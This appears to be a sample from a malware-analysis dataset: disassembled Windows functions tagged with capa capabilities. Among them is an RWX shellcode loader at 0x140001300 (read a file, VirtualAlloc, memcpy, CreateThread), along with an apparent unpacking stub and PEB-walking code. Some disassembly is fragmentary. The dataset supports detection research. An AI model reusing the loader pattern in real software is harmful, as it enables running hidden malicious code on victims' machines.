joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001230
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x30
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rsi, rdx
mov qword [rsp + 0x20], 0
mov rbx, rcx
call fcn.140001190
mov qword [rsi], rax
test rax, rax
jne 0x140001269
xor eax, eax
jmp 0x1400012e2
lea r8, [0x1400054dc]
mov rdx, rbx
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
jne 0x140001265
cmp qword [rsp + 0x20], 0
je 0x140001265
mov rcx, qword [rsi]
mov qword [rsp + 0x50], rdi
call fcn.140003040
mov rcx, qword [rsp + 0x20]
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov r9, qword [rsp + 0x20]
mov edx, 1
mov r8, qword [rsi]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x20]
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rbx, rbx
jne 0x1400012da
mov rcx, rdi
call fcn.140003038
xor eax, eax
jmp 0x1400012dd
mov rax, rdi
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140002fd0
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rsi
ret
Function at 0x140001300
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x180
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x178], rax
mov rdi, rdx
mov ebx, ecx
lea rcx, str.running_n
call fcn.140001020
cmp ebx, 2
jne 0x1400014e1
mov qword [rsp + 0x30], 0
mov rdx, qword [rdi + 8]
mov qword [rsp + 0x50], 0xf
mov qword [rsp + 0x48], 0
mov byte [rsp + 0x38], 0
cmp byte [rdx], 0
jne 0x140001376
xor r8d, r8d
jmp 0x14000138a
or r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140001380
lea rcx, [rsp + 0x38]
call fcn.140002a40
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.140001670
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rsp + rcx + 0x70]
lea rcx, [rsp + 0x110]
call fcn.1400015a0
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jb 0x140001447
inc rax
mov rcx, qword [rsp + 0x38]
cmp rax, 0x1000
jb 0x140001442
test cl, 0x1f
je 0x140001412
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140001422
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rcx, rax
cmp rcx, 8
jae 0x140001432
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rcx, 0x27
jbe 0x14000143f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rax
call fcn.140003030
test ebx, ebx
jne 0x1400014e1
lea rdx, [rsp + 0x30]
mov rcx, qword [rdi + 8]
call fcn.140001230
mov rsi, rax
mov rbx, qword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov rdx, rax
lea rcx, str._ptr_:_p
call fcn.140001020
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x170]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x178]
xor rcx, rsp
call fcn.140002fd0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140002650
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
cmp qword [rcx + 0x68], 0
je 0x1400027fe
cmp byte [rcx + 0x71], 0
je 0x1400027fe
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
jne 0x1400026aa
xor al, al
jmp 0x140002800
mov edx, 0xf
mov qword [rbp - 0x18], rdx
mov byte [rbp - 0x30], 0
xor ecx, ecx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x20], 8
lea rax, [rbp - 0x30]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov rcx, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
nop dword [rax]
lea rdx, [rbp - 0x30]
cmp r9, 0x10
cmovae rdx, rcx
lea r8, [rbp - 0x30]
cmovae r8, rcx
mov r9, qword [rbp - 0x20]
add r9, rdx
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x74]
mov rcx, qword [rdi + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000271d
sub eax, 1
jne 0x140002792
jmp 0x140002721
mov byte [rdi + 0x71], 0
lea rax, [rbp - 0x30]
mov rcx, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
cmp r9, 0x10
cmovae rax, rcx
mov rbx, qword [rbp - 0x38]
sub rbx, rax
je 0x14000276f
lea rax, [rbp - 0x30]
cmp r9, 0x10
cmovae rax, rcx
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
cmp rbx, rax
jne 0x14000279f
cmp byte [rdi + 0x71], 0
je 0x1400027a3
test rbx, rbx
jne 0x1400026e0
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rbp - 0x30]
call fcn.140002510
jmp 0x1400026d4
sub eax, 2
mov r9, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
je 0x1400027a3
xor bl, bl
jmp 0x1400027a5
mov bl, 1
cmp r9, 0x10
jb 0x1400027f9
lea rax, [r9 + 1]
cmp rax, 0x1000
jb 0x1400027f4
test byte [rbp - 0x30], 0x1f
je 0x1400027c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1400027d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rcx, rax
cmp rcx, 8
jae 0x1400027e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rcx, 0x27
jbe 0x1400027f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rax
call fcn.140003030
movzx eax, bl
jmp 0x140002800
mov al, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140002fd0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140003a72
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add byte [rdi], cl
adc byte [rsi + 0x10], cl
movups xmmword [rsp + 0x98], xmm0
movups xmm0, xmmword [rsi + 0x20]
movups xmmword [rsp + 0xa8], xmm1
movups xmmword [rsp + 0xb8], xmm0
test r11d, r11d
je 0x140003bd0
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0xf0], r12
mov r12, rdi
mov qword [rsp + 0xe8], r14
mov r14d, 1
mov qword [rsp + 0x38], rdi
mov edi, r11d
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0x18], r11
nop dword [rax + rax]
movzx eax, byte [r12 + 1]
mov ebx, r13d
movzx ebp, byte [r12]
sub ebx, eax
mov ecx, edx
mov qword [rsp + 0x58], rax
sub ecx, ebx
mov r15d, dword [rsp + rax*4 + 0x98]
shl r14d, cl
mov dword [rsp + 0x24], r15d
mov dword [rsp + 0x20], r14d
cmp ecx, r8d
jb 0x140003bec
lea eax, [rbx + r10]
mov ecx, 1
cmp eax, 1
lea r9, [r9 + r15*4]
cmovl eax, ecx
mov rcx, qword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + rdx*4]
mov eax, ebx
lea r10, [rcx + r8*2]
imul rcx, rax, 0x34
enter 0xffffffffffff8b34, 0x44
xor dword [rax], esi
mov dword [rsp + 0x90], eax
movups xmm0, xmmword [rcx + rsi]
movups xmm1, xmmword [rcx + rsi + 0x10]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rcx + rsi + 0x20]
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm0
cmp edx, 1
jbe 0x140003ac8
mov eax, dword [rsp + rdx*4 + 0x60]
mov word [rsp], bp
mov byte [rsp + 2], bl
mov byte [rsp + 3], 1
test eax, eax
je 0x140003ac8
mov ecx, eax
mov rdi, r9
mov eax, dword [rsp]
rep stosd dword [rdi], eax
mov rdi, qword [rsp + 0x18]
mov eax, r11d
sub eax, r8d
je 0x140003b67
mov r14d, dword [rsp + 8]
mov r15d, 1
mov byte [rsp + 3], 2
mov r12d, pe_nt_image_headers64
mov r11d, eax
invalid
Function at 0x14000ac3a
Capabilities:
Create directory

Disassembly:
pop rbp
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000ac66
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000ac8d
mov bl, 1
cmp dword [0x14002fdd0], 0x400
jge 0x14000ac8d
mov rcx, rdi
call fcn.14001e24a
movsxd rdx, dword [0x14002fdd0]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002fdd0], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.140015574
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret

Function at 0x14000ade1
Capabilities:
Check if file exists
Delete file
Terminate process

Disassembly:
sub esp, 0x68
mov rcx, qword [0x14002fdd8]
test rcx, rcx
je 0x14000ae1b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000ae0e
mov rcx, qword [0x14002fdd8]

Function at 0x14000ae04
Capabilities:
Check if file exists
Delete file
Terminate process

Disassembly:
add al, byte [rax]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002fdd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002fde8], 0
je 0x14000af0e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140029880]
mov qword [rsp + 0x80], rsi
lea rsi, [0x140032610]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov esi, 0x414

Function at 0x14000ae5d
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
mov esi, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000aeef
test al, 0x10
je 0x14000aeef
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000ae95
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x140014abd
Capabilities:
Terminate process

Disassembly:
mov byte [rax], 0
mov rcx, rax
mov edx, 0xc0000417
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x140018094
Capabilities:
Enumerate files on windows

Disassembly:
test rax, rax
je 0x1400181d4
lea rdx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x3f002a
mov rcx, rax
mov word [rbp + 0x1b4], r12w
movabs rbx, 0x200000000801
call 0x140030fbe
mov r14, qword [r15]
mov rcx, rax
test rax, rax
jne 0x14001802c
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
mov rcx, r14
call 0x14002f74b
mov rdi, qword [rsp + 0x30]
mov esi, eax
test eax, eax
jne 0x14001817d
mov rsi, qword [rsp + 0x38]
jmp 0x140018171
cmp rax, r14
je 0x140018050
movzx eax, word [rcx]
sub ax, 0x2f
cmp ax, 0x2d
ja 0x140018047
movzx eax, ax
bt rbx, rax
jb 0x140018050
sub rcx, 2
cmp rcx, r14
jne 0x140018031
movzx edx, word [rcx]
cmp dx, 0x3a
jne 0x140018062
lea rax, [r14 + 2]
cmp rcx, rax
jne 0x1400180b1
sub dx, 0x2f
cmp dx, 0x2d
ja 0x140018077
movzx eax, dx
bt rbx, rax
mov al, 1
jb 0x14001807a
mov al, r12b
sub rcx, r14
mov dword [rsp + 0x28], r12d
sar rcx, 1
lea r8, [rsp + 0x60]
inc rcx
mov qword [rsp + 0x20], r12
neg al
sbb r13, r13
xor r9d, r9d
and r13, rcx
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400180dd
lea r9, [rsp + 0x30]
mov r8, r12
mov rdx, r12
mov rcx, r14
call 0x14002f7fc
mov esi, eax
test eax, eax
jne 0x1400181ac
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x30]
jmp 0x140018171
sub rsi, rdi
sar rsi, 3
mov r12, rsi
xor edi, edi
cmp word [rbp - 0x74], 0x2e
jne 0x140018105
movzx eax, word [rbp - 0x72]
test ax, ax
je 0x140018123
cmp ax, 0x2e
jne 0x140018105
cmp word [rbp - 0x70], di
je 0x140018123
lea r9, [rsp + 0x30]
mov r8, r13
mov rdx, r14
lea rcx, [rbp - 0x74]
call 0x14002f851
mov esi, eax
test eax, eax
jne 0x1400181a3
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400180e9
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x30]
mov rdx, rsi
sub rdx, rdi
sar rdx, 3
cmp r12, rdx
je 0x140018165
sub rdx, r12
lea rcx, [rdi + r12*8]
lea r9, [0x140017f38]
lea r8d, [rax + 8]
call 0x140034891
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
stosb byte [rdi], al
nop
add byte [rax], al
xor r12d, r12d
add r15, 8
mov rax, qword [r15]
invalid
Function at 0x1400191c2
Capabilities:
Set environment variable

Disassembly:
mov ebp, eax
test rax, rax
je 0x140019497
cmp rax, r15
je 0x140019497
mov r14, qword [0x14002f4d8]
cmp r14, qword [0x14002f4e0]
movzx r12d, word [rax + 2]
jne 0x1400191fd
mov rcx, r14
call 0x140031acf
mov r14, rax
mov qword [0x14002f4d8], rax
mov ebx, 1
test r14, r14
jne 0x1400192d8
mov rax, qword [0x14002f4d0]
test ebp, ebp
je 0x140019267
test rax, rax
je 0x140019267
call 0x14002bf48
test rax, rax
test eax, eax
jne 0x140019243
call 0x14002df3a
mov dword [rax], 0x16
mov r14, qword [0x14002f4d8]
cmp r14, qword [0x14002f4e0]
jne 0x1400192cf
mov rcx, r14
call 0x140031b37
mov r14, rax
mov qword [0x14002f4d8], rax
jmp 0x1400192cf
test r12w, r12w
je 0x140019390
test rax, rax
jne 0x1400192a4
call 0x14002e1ac
mov rcx, r15
mov dword [rax], 0x16
call 0x14002e1da
or rax, 0xffffffffffffffff
Function at 0x140019276
Capabilities:
Set environment variable

Disassembly:
or rbp, 0xffffffffffffffff
mov rcx, r15
call 0x14002df6c
mov eax, ebp
jmp 0x1400194ae
lea edx, [rax + 8]
mov rcx, rbx
call 0x14002d465
xor ecx, ecx
mov qword [0x14002f4d0], rax
call 0x14002dfbf
cmp qword [0x14002f4d0], rsi
je 0x140019230
mov r14, qword [0x14002f4d8]
test r14, r14
jne 0x1400192d8
mov edx, 8
mov rcx, rbx
call 0x14002d495
xor ecx, ecx
mov qword [0x14002f4d8], rax
call 0x14002dfef
mov r14, qword [0x14002f4d8]
xor eax, 0x16212
test r14, r14
je 0x140019230
test r14, r14
je 0x140019230
mov rax, qword [r14]
sub r13, r15
sar r13, 1
mov rbx, r14
test rax, rax
je 0x140019323
mov r8, r13
mov rdx, rax
mov rcx, r15
call 0x140036217
test eax, eax
jne 0x140019311
mov rax, qword [rbx]
mov ecx, 0x3d
cmp word [rax + r13*2], cx
je 0x14001931a
cmp word [rax + r13*2], si
je 0x14001931a
add rbx, 8
mov rax, qword [rbx]
mov eax, dword [rbx]
jmp 0x1400192e4
sub rbx, r14
sar rbx, 3
jmp 0x14001932d
sub rbx, r14
sar rbx, 3
neg rbx
test rbx, rbx
js 0x14001938a
cmp qword [r14], rsi
je 0x14001938a
mov rcx, qword [r14 + rbx*8]
call 0x14002e070
test r12w, r12w
je 0x14001935b
mov qword [r14 + rbx*8], r15
jmp 0x1400193eb
mov rax, qword [r14 + rbx*8 + 8]
mov qword [r14 + rbx*8], rax
inc rbx
cmp qword [r14 + rbx*8], rsi
jne 0x14001934f
mov r8d, 8
mov rdx, rbx
mov rcx, r14
call 0x14003290a
xor ecx, ecx
mov rbx, rax
call 0x14002e0ac
test rbx, rbx
je 0x1400193ee
mov qword [0x14002f4d8], rbx
jmp 0x1400193ee
test r12w, r12w
jne 0x140019397
mov ebp, esi
neg rbx
lea rdx, [rbx + 2]
cmp rdx, rbx
jb 0x140019230
movabs rax, 0x1fffffffffffffff
mov rdi, rsi
test ebp, ebp
je 0x14001948b
or rbp, 0xffffffffffffffff
mov r14, rbp
inc r14
cmp word [r15 + r14*2], si
cmp dword [rdi + rsi*2], esi
jne 0x1400193fd
mov edx, 2
add r14, rdx
mov rcx, r14
call 0x14002d5fb
mov rbx, rax
test rax, rax
jne 0x140019428
xor ecx, ecx
call 0x14002e156
jmp 0x140019477
mov r8, r15
mov rdx, r14
mov rcx, rbx
call 0x140030606
test eax, eax
jne 0x1400194cb
neg r12w
mov word [rbx + r13*2], si
lea rax, [r13 + 1]
mov rcx, rbx
sbb rdx, rdx
lea rax, [rbx + rax*2]
and rdx, rax
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
test eax, eax
jne 0x140019483
call 0x14002e177
mov rcx, rbx
mov dword [rax], 0x2a
call 0x14002e1a5
mov esi, ebp
mov rcx, rdi
call 0x14002e1af
mov eax, esi
jmp 0x1400194ae
mov rcx, rbx
call 0x14002e1bb
mov rcx, rdi
call 0x14002e1c3
xor eax, eax
jmp 0x1400194ae
invalid

Function at 0x1400193b1
Capabilities:
Set environment variable

Disassembly:
cmp rdx, rax
jae 0x140019230
mov r8d, 8
mov rcx, r14
call 0x140032960
xor ecx, ecx
mov r14, rax
call 0x14002e102
test r14, r14
je 0x140019230
invalid
mov qword [r14 + rbx*8], r15
mov qword [r14 + rbx*8 + 8], rsi
mov qword [0x14002f4d8], r14
Function at 0x14001b444
Capabilities:
Write file on windows

Disassembly:
or eax, 0xffffffff
jmp 0x14001b625
lea edx, [rbp - 0x20]
mov rcx, qword [rcx + r13*8 + 0x28]
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
test eax, eax
je 0x14001b50c
movsx ecx, byte [rbp - 0x48]
test ecx, ecx
je 0x14001b4e9
sub ecx, 1
je 0x14001b474
cmp ecx, 1
jne 0x14001b5ad
lea r12, [rsi + r14]
mov qword [rbp - 0x40], rdi
mov r15, rsi
cmp rsi, r12
jae 0x14001b4e0
mov r14d, dword [rbp - 0x3c]
mov r9d, r14d
mov qword [rsp + 0x20], rbx
mov r8, rsi
lea rcx, [rbp - 0x40]
mov edx, r15d
call 0x140035304
movsd xmm0, qword [rax]
mov edi, dword [rax + 8]
jmp 0x14001b5a8
lea rdx, [0x14002f950]
mov rcx, qword [rdx + r12*8]
cmp byte [rcx + r13*8 + 0x38], dil
jge 0x14001b570
movsx ecx, byte [rbp - 0x48]
test ecx, ecx
je 0x14001b55c
sub ecx, 1
je 0x14001b548
cmp ecx, 1
jne 0x14001b5b4
mov r9d, r14d
lea rcx, [rbp - 0x40]
mov r8, rsi
mov edx, r15d
call 0x1400358c6
jmp 0x14001b500
mov r9d, r14d
lea rcx, [rbp - 0x40]
mov r8, rsi
mov edx, r15d
call 0x1400359f6
jmp 0x14001b500
mov r9d, r14d
lea rcx, [rbp - 0x40]
mov r8, rsi
mov edx, r15d
call 0x1400357ea
jmp 0x14001b500
mov rcx, qword [rcx + r13*8 + 0x28]
lea r9, [rbp - 0x3c]
xor eax, eax
mov r8d, r14d
and qword [rsp + 0x20], rax
mov rdx, rsi
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14001b5a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp - 0x40], eax
mov edi, dword [rbp - 0x38]
movsd xmm0, qword [rbp - 0x40]
movsd qword [rbp - 0x30], xmm0
lea rdx, [0x14002f950]
mov rax, qword [rbp - 0x30]
shr rax, 0x20
test eax, eax
jne 0x14001b61c
mov eax, dword [rbp - 0x30]
test eax, eax
je 0x14001b5f3
cmp eax, 5
jne 0x14001b5e3
mov byte [rbx + 0x30], 1
mov dword [rbx + 0x2c], 9
mov byte [rbx + 0x38], 1
mov dword [rbx + 0x34], eax
jmp 0x14001b38f
mov ecx, dword [rbp - 0x30]
mov rdx, rbx
call 0x1400302ba
jmp 0x14001b38f
mov rax, qword [rdx + r12*8]
test byte [rax + r13*8 + 0x38], 0x40
je 0x14001b604
cmp byte [rsi], 0x1a
je 0x14001b623
and dword [rbx + 0x34], 0
mov byte [rbx + 0x30], 1
mov dword [rbx + 0x2c], 0x1c
mov byte [rbx + 0x38], 1
jmp 0x14001b38f
mov eax, dword [rbp - 0x2c]
sub eax, edi
jmp 0x14001b625
xor eax, eax
add rsp, 0x78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140598490
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14059849d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1405984ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140598495
lea eax, [rcx + 1]
jmp 0x1405984bb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1405984ce
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1405984b4
sub eax, 3
jb 0x1405984ee
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14059853d
sar eax, 1
movsxd rbp, eax
jb 0x140598524
jmp 0x1405984fc
add ebx, ebx
jne 0x1405984fa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140598524
inc ecx
add ebx, ebx
jne 0x14059850a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140598524
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14059851d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14059850c
add ecx, 2
jmp 0x140598529
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140598452
jmp 0x14059849d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x5000
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140598589
cmp rsi, rcx
jae 0x140598591
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140598570
cmp al, 0x8f
ja 0x140598570
cmp byte [rsi - 2], 0xf
je 0x140598576
sub al, 0xe8
cmp al, 1
ja 0x14059855a
cmp rsi, rcx
jae 0x140598591
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140598560
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140598591
lodsb al, byte [rsi]
jmp 0x140598570
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x596000]
mov eax, dword [rdi]
or eax, eax
je 0x1405985ee
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x5980d8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14059859e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1405985e8
mov qword [rbx], rax
add rbx, 8
jmp 0x1405985be
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140598628
cmp al, 0xef
ja 0x14059861a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1405985fa
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140598609
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14059867c
sub rsp, 0xffffffffffffff80
jmp 0x140005420
Function at 0x180002550
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a8c], 0xa
jl 0x180002582
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002582
nop word cs:[rax + rax]
jmp 0x180002580
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a74], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a94]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a98], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
